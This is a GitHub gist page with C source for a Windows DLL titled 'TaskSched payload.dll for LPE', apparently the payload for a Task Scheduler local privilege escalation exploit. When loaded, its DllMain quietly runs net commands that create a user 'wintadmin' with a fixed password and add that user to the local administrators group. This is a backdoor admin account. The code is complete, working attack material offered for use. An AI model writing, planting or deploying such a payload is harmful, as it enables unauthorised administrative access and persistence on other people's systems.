Created
August 31, 2018 01:42
-
-
Save NullArray/d47a22fb9c5acd8cbd535c303848e31b to your computer and use it in GitHub Desktop.
TaskSched payload.dll for LPE
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
// All Credit goes to SandboxEscaper | |
BOOL APIENTRY DllMain(HMODULE hModule, | |
DWORD ul_reason_for_call, | |
LPVOID lpReserved | |
) | |
{ | |
switch (ul_reason_for_call) | |
{ | |
case DLL_PROCESS_ATTACH: | |
WinExec("cmd.exe /C net user wintadmin Password6789 /add && net localgroup administrators wintadmin /add >NUL 2>&1", 0); | |
case DLL_THREAD_ATTACH: | |
case DLL_THREAD_DETACH: | |
case DLL_PROCESS_DETACH: | |
break; | |
} | |
return TRUE; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment